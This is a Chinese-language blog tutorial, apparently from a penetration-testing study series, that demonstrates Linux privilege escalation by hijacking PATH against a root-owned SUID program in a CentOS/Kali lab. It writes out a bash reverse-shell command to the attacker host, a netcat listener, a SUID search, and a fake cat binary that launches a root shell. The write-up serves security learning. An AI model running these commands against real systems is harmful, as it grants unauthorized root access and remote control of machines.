[权限提升] Linux 提权 & 维持 — 系统错误配置提权 - PATH 环境变量劫持提权

关注这个专栏的其他相关笔记:内网安全 内网渗透 - 学习手册-CSDN博客

0x01:Linux 环境变量劫持提权原理

环境变量劫持的核心思想是通过篡改环境变量的值,使程序加载恶意的资源或库,从而实现提权或者其他恶意行为。

PATH 是 Linux 和 Unix 操作系统中的一个环境变量,当我们执行一个命令时,Shell 会先尝试检查该命令是否为系统内部命令,如果不是,则会再去检查此命令是否是一个应用程序,Shell 会试着从 PATH 中逐步查找该命令。查看 Linux 中环境变量的命令如下:

bash 复制代码
 echo $PATH;   # 查看系统环境变量

在前面的章节中我们讲过 Windows 环境变量提权,这里介绍的 Linux 环境变量提权的原理与之类似,但也不完全相同,笔者介绍的主要是对 SUID 提权的一个拓展,即当我们找到一个归属 Root 用户的 SUID 文件,无法直接利用时,可以尝试利用 PATH 环境变量劫持从而达到提权的目的。

看完全文后细品:如果你能推测某个 SUID 文件内部的实现方式,你就可以利用 PATH 环境变量进行劫持提权(成功率奇高)。

0x02:Linux 环境变量劫持提权环境搭建

复现环境

  • 靶机 CentOS 7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

0x0201:创建一个 "安全" 的 SUID 文件

首先以 Root 用户登录靶机,在 /home 目录下创建一个 demo.c 文件(假设该文件就是 Root 用户编写的一个辅助运维的脚本,它嫌命令打太长了就写了这个文件了呗),内容如下:

cpp 复制代码
 #include <unistd.h>
 void main() {
     setuid(0); // 设置 uid 为 0,规定运行用户为 root
     setgid(0); // 设置 gid 为 0
     system("cat /etc/passwd"); // 管理员很懒,不想输入这行命令
 }

然后将此文件使用 gcc 编译为可执行文件:

bash 复制代码
 gcc demo.c -o demo

使用如下命令可以尝试进行运行:

bash 复制代码
 ./demo

如上,运行编译后的程序,显示的就是 /etc/passwd 中的内容。然后,管理员抽风了,给该文件设置了一个 SUID 权限,这么好的脚本不能自己一个人用,要分享出来:

bash 复制代码
 chmod u+s /home/demo

那么至此,我们的提权环境就搭建好了。

此时我们回忆一下 SUID 提权的方式,这个 demo 程序满足了 Root 创建,且有 SUID 属性,但是它仅仅是执行了使用 cat 命令查看了 /etc/passwd 这个文件的动作,都写死了,是二进制文件,我们该如何利用它进行提权?(你猜猜,猜不透往后看)

0x03:Linux 环境变量劫持提权漏洞复现

0x0301:拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

bash 复制代码
 nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash 复制代码
 bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查找 SUID 文件

使用下面的命令,查找 SUID 文件,发现其中没有啥能直接提权的,但是我们定位到了一个可疑的叫 demo 的程序:

bash 复制代码
 find / -user root -perm -4000 -print 2>/dev/null

运行 /home/demo,发现是查看 /etc/passwd 的命令:

如此,我们可以推测,这个 /home/demo 程序可能采用了 cat 命令来查看 /etc/passwd,那么我们是否可以尝试劫持 cat 命令从而提权呢。

0x0303:劫持系统命令提权

输入下面的命令,在 /tmp 目录下创建一个 cat 命令,并将 /tmp 文件夹临时添加进系统环境变量中:

bash 复制代码
echo "/bin/bash" > /tmp/cat  # 自己创建一个 cat 命令,实际是执行 /bin/bash 命令
chmod 777 /tmp/cat           # 为 cat 命令赋予执行权限
ls -al /tmp/cat              # 查看 cat 命令权限
echo $PATH                   # 查看系统环境变量
export PATH=/tmp:$PATH       # 将 /tmp 目录添临时加到环境变量的最前面

做完上面的操作后,我们此时再执行 /home/demo 即可完成提权:

bash 复制代码
/home/demo

我们再来理一下为什么会成功,/home/demo 运行后实际是执行 cat /etc/passwd 命令,但是由于该文件的属主是 Root 又由于其被赋予了 SUID 权限,所以我普通用户在执行它的时候实际就是以 Root 权限执行了 cat /etc/passwd 命令。

那么此时,问题就是,系统是怎么找到 cat 命令的呢?它是通过当前用户的环境变量找到的,而又由于我们前面替换的环境变量,导致其优先找到了我们创建的 cat 命令,最终导致运行 cat /etc/passwd 实际变成了以 Root 身份运行 /bin/bash /etc/passwd 命令,最终导致提权。

相关推荐
是真的小外套1 小时前
网络安全实战第7期:Hydra爆破SSH实战
安全·web安全·ssh
文章永久免费只为良心1 小时前
Web应用安全与防护_第三章_日志文件包含_从一道 CTFshow 题目讲透「日志投毒型 LFI → RCE」:原理、时序陷阱与全变种攻防手册
android·网络安全·渗透测试·漏洞危害·漏洞描述·日志投毒·红队指南
塞讯科技2 小时前
13,500 个分支被植入窃密工作流:Gheist 如何用 GitHub 令牌搬走仓库密钥
网络安全·ai·github·软件供应链安全·供应链投毒
jimmyleeee2 小时前
Agent安全之七:当智能体之间开始“互相信任”------深入理解 OWASP ASI07 不安全的智能体间通信
人工智能·安全
卓豪终端管理3 小时前
终端零信任落地实践:应用控制与权限管理的五层管控体系
安全·web安全
深蓝AI3 小时前
一个版本号失守:Claude Code 2.1.313 扩展后门事件,开发者机器如何变成别人的 SSH 入口
安全·程序员
金海星科技3 小时前
从“装摄像头“到“用摄像头管安全“:船舶智能监控的范式变化
安全
jimmyleeee4 小时前
Agent安全之六:(ASI06)记忆与上下文投毒——当 AI 把“昨天的错误”当成“今天的真理”
网络·人工智能·安全
QYR-分析4 小时前
7.0% 年增!新能源汽车 EPB 电机赛道升温,安全执行件的博弈正在底盘上演
安全·汽车
福建佰胜张工6 小时前
深度解析 Allen-Bradley 150-B135NBDA 智能电机控制器:选型、参数与工业应用
运维·数据库·单片机·嵌入式硬件·安全·自动化